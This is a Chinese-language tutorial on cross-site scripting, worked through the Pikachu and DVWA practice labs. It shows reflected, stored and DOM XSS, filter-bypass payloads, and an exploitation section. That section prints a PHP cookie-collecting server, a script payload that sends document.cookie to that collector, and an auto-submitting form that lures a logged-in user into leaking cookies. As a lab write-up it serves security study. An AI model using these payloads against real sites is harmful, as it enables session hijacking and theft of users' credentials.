目錄
初識XSS
XSS全稱(Cross Site Scripting),翻譯爲跨站腳本攻擊,是最常見的Web應用程序安全漏洞之一。XSS是指攻擊者在網頁中嵌入客戶端腳本,通常是JavaScript編寫的危險代碼,當用戶使用瀏覽器瀏覽網頁時,腳本就會在用戶的瀏覽器上執行,從而達到攻擊者的目的。
XSS屬於客戶端攻擊,受害者最終是用戶,但特別要注意的是網站管理人員也屬於用戶之一。這就意味着XSS可以進行“服務端”攻擊,因爲管理員要比普通用戶的權限大得多,一般管理員都可以對網站進行文件管理,數據管理等操作,而攻擊者一般也是靠管理員身份作爲“跳板”進行實施攻擊。
XSS攻擊最終目的是在網頁中嵌入客戶端惡意腳本代碼,最常用的攻擊代碼是javascript語言,但也會使用其它的腳本語言,例如:ActionScript、VBscript、flash。而如今的互聯網客戶端腳本基本是基於Javascript,所以如果想要深入研究XSS,需要要精通Javascript。
XSS漏洞出現的原因
程序對輸入和輸出的控制不夠嚴格,導致"精心構造“的腳本輸入後,在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害.
XSS的危害
劫持用戶cookie是最常見的跨站攻擊形式,通過在網頁中寫入並執行腳本執行文件(多數情況下是JavaScript腳本代碼),劫持用戶瀏覽器,將用戶當前使用的sessionID信息發送至攻擊者控制的網站或服務器中。“框架釣魚”,利用JS腳本的基本功能之一:操作網頁中的DOM樹結構和內容,在網頁中通過JS腳本,生成虛假的頁面,欺騙用戶執行操作,而用戶所有的輸入內容都會被髮送到攻擊者的服務器上。
XSS分類
1、反射型XSS
交互的數據一般不會被存在在數據庫裏面,只是簡單的把用戶輸入的數據反射給瀏覽器,所見即所得。
實驗演示
Pikachu
- 修改HTML代碼對輸入字符的長度限制
這種方法稍微麻煩,我們可以使用burpsuite破除前端的限制
- 輸入框輸入以下代碼:
<script>alert(63252)</script>
- 出現彈窗
- 分析源代碼
if(isset($_GET['submit'])){
if(empty($_GET['message'])){
$html.="<p class='notice'>輸入'kobe'試試-_-</p>";
}else{
if($_GET['message']=='kobe'){
$html.="<p class='notice'>願你和{$_GET['message']}一樣,永遠年輕,永遠熱血沸騰!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
}else{
$html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
}
}
}
如果輸入爲空,輸出“輸入Kobe試試”
如果輸入爲Kobe,輸出“願你和Kobe一樣,永遠年輕,永遠熱血沸騰!”
其他情況輸出“誰是xxx,idon‘t care!”
可以看到代碼都是直接引用輸入參數,所以會產生xss漏洞,但一般情況下get型的xss屬於中危漏洞,在地址欄明文傳輸參數的xss漏洞利用率高
附上burpsuite操作:
(1)抓包改參數後發送
(2)查看結果
查看方式一:
在response處查看源代碼,我們可以看到執行成功
查看方式二:
在repeater區域右鍵選擇show response in browser
直接複製地址粘貼到瀏覽器
回車後就出現結果
DVWA
等級medium
首先我們使用<script>alert(666)</script>
,發現不起作用,應該是做了小過濾,使用其他方法繞過,也會成功出現彈窗
<ScriPt>alert(666)</sCrIpT> 大小寫
<sc<script>alert(666)</script> 雙寫
查看源代碼
<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
echo "<pre>你好 ${name}</pre>";
}
?>
我們可以看到str_replace函數只是去除了<script>
,可以繞過。假如我們對大小寫不進行區分和對script的拼接進行處理,這兩種辦法就會失效,這也是等級high使用的方法:
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
echo "<pre>你好 ${name}</pre>";
}
?>
preg_replace()函數用於正則表達式的搜索和替換,i不區分大小寫
等級high
我們可以使用img、body等標籤的事件或者iframe等標籤的src注入代碼進行繞過
<img src="1"onerror="alert(666)">
如果出現失敗的情況,首先檢查一下代碼是否正確,其次刷新一下網頁,dvwa靶場經常響應不實時,最後可以採用burpsuite
2、儲存型XSS
交互的數據會被存在在數據庫裏面,永久性存儲,具有很強的穩定性,屬於危害比較大的xss漏洞。
實驗演示
- 輸入框輸入以下代碼:
<script>alert(666)</script>
- 在留言刪除前每次打開留言板都可以看到彈窗,因爲代碼是存儲到數據庫中的,每次用戶打開都會加載執行
3、DOM XSS
不與後臺服務器產生數據交互,通過前端的dom節點形成的XSS漏洞。
DOM全稱是Document Object Model,也就是文檔對象模型。我們可以將DOM理解爲,一個與系統平臺和編程語言無關的接口,程序和腳本可以通過這個接口動態地訪問和修改文檔內容、結構和樣式。當創建好一個頁面並加載到瀏覽器時,DOM就悄然而生,它會把網頁文檔轉換爲一個文檔對象,主要功能是處理網頁內容。故可以使用 Javascript 語言來操作DOM以達到網頁的目的。
實驗演示
- 輸入以下代碼:
<a href='#' onclick="alert(2222)">what do you see?</a>
2. 點擊後產生一個鏈接,點擊鏈接產生彈窗:
XSS測試方法
手工測試有時候太慢了,我們可以採用工具來進行自動化測試
1、工具掃描:APPscan、AWVS
工具可以掃描出xss漏洞,我們可以記下工具測試繞過的方法
2、手工測試:Burpsuite、firefox(hackbar)、XSSER XSSF
xssersnifer
使用手工檢測Web應用程序是否存在XSS漏洞時,最重要的是考慮那裏有輸入,輸入的數據在什麼地方輸出。在進行手工檢測XSS時,一定要選擇有特殊意義的字符,這樣可以快速測試是否存在XSS。
(1)在目標站點上找到輸入點,比如查詢接口,留言板等;
(2)輸入一組"特殊字符+唯一識別字符",點擊提交後,查看返回的源碼,是否有做對應的處理;
(3)通過搜索定位到唯一字符,結合唯一字符前後語法確認是否可以構造執行js的條件(構造閉合);提交構造的腳本代碼,看是否可以成功執行,如果成功執行則說明存在XSS漏洞;
漏洞利用
搭建xss平臺
pikachu實驗
在自己的公網服務器搭建一個平臺,示範:
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
//這個是獲取cookie的api頁面
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s');
$ipaddress=getenv ('REMOTE_ADDR');
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://192.168.177.146/pikachu/index.php");
//重定向到一個用戶信任的網站頁面http://192.168.177.146/pikachu/index.php
?>
get型
- 在存在get型xss反射漏洞框內輸入以下代碼:
<script>document.location = 'http://192.168.177.146/pikachu/pkxss/xcookie/cookie.php cookie=' + document.cookie;</script>
直接使用的是pikachu的xss平臺,非實驗時location後的url應該是自己的搭建的平臺的url
- 在平臺獲取到cookie信息
post型
這種方法侷限性非常大,我認爲它更像是一種釣魚,必須在用戶進行登錄後,再發送一個自己服務器上的鏈接誘導用戶點開,才能竊取cookie信息
- 誘導鏈接網頁代碼的示範
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.177.146/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.177.146/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
action後的url:http://192.168.177.146/pikachu/vul/xss/xsspost/xss_reflected_post.php爲用戶進行登錄的url,location後的url:http://192.168.177.146/pikachu/pkxss/xcookie/cookie.php爲自己搭建的xss平臺
- 用戶點擊後就能獲得cookie信息